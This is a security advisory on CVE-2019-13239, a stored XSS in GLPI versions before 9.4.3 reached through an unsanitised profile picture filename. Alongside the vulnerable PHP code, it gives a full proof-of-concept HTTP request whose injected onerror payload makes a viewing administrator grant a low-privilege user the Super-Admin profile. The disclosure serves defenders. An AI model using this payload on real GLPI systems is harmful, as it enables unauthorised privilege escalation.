Stored XSS in GLPI < 9.4.3

Security advisory

2019-07-04

Julien Legras

Vulnerability description

Presentation of *GLPI*

“GLPI is an incredible ITSM software tool that helps you plan and manage IT changes in an easy way, solve problems efficiently when they emerge and allow you to gain legit control over your company’s IT budget, and expenses.”[1]

The issue

Synacktiv discovered that GLPI does not sanitize the profile picture name which can be used to inject malicious HTML and JavaScript code inside the page. If an administrator access the profile, it can be used to interact with the GLPI instance with the administrator profile and perform sensitive actions such as add the low privileges account to the *Super-Admin* group.

Affected versions

All versions 9.x < 9.4.3, are known to be affected.

Timeline

Date	Action
2019-02-25	Advisory sent to *GLPI Project* (glpi-security@ow2.org)
2019-06-20	GLPI team merged a patch for this issue.
2019-06-20	GLPI fixed the XSS in release 9.4.3.
2019-07-04	CVE-2019-13239 reserved.

1 https://glpi-project.org/

Technical description and proof-of-concept

The user profile form allows uploading images as profile picture. This is done in 2 steps:

1. AJAX upload of the file.
2. Update the profile with the filename retrieved from the 1st AJAX request.

This profile picture is the filename of the uploaded image and this filename is stored in the database. The POST request looks like:

```
POST /front/preference.php HTTP/1.1
Host: 172.18.0.3
[…]

------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="name"

testuser
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="id"

5
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="realname"


------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="_picture[0]"

5c6fc312b8ab50.57540855chat5.jpg
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="_prefix_picture[0]"

5c6fc312b8ab50.57540855
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="_tag_picture[0]"

435b1b81-d9d62df8-5c6fc312c12e01.39237464
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="picture[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="_blank_picture"
[…]
```

However, the code responsible for the preferences updates the user model with the request inputs:

```
if (isset($_POST["update"])
    && ($_POST["id"] === Session::getLoginUserID())) {
   $user->update($_POST);
[...]
```

As the user model has a *picture* field, it is possible to update the profile with malicious HTML attributes and execute JavaScript inside the web browser. For instance, the following preferences update can be used to perform a local privilege escalation if an administrator views the profile:

```
POST /front/preference.php HTTP/1.1
Host: 172.18.0.3
[…]

------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="name"

testuser
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="id"

5
[…]
------WebKitFormBoundarynhQG0l132nzGvcpA
Content-Disposition: form-data; name="picture[]"; filename=""
Content-Type: application/octet-stream

'
onerror="$.ajax({url:'/front/profile_user.form.php',method:'POST',data:'users_id=5&entities
_id=0&profiles_id=4&is_recursive=0&add=Add&_glpi_csrf_token='+$
('input[name=_glpi_csrf_token]').val()});" a='
```

This payload will add the *Super-Admin* profile (*profiles_id=4*) to the user (*users_id=5*).

The code is inserted without any sanitization by the function *showMyForm* in *inc/user.class.php*:

```
[...]
$full_picture  = "<div class='user_picture_border'>";
$full_picture .= "<img class='user_picture' alt=\"".__s('Picture')."\" src='".
                  User::getURLForPicture($this->fields['picture'])."'>";
$full_picture .= "</div>";
[...]
```

The *getURLForPicture* function does not sanitize the string, allowing inserting HTML.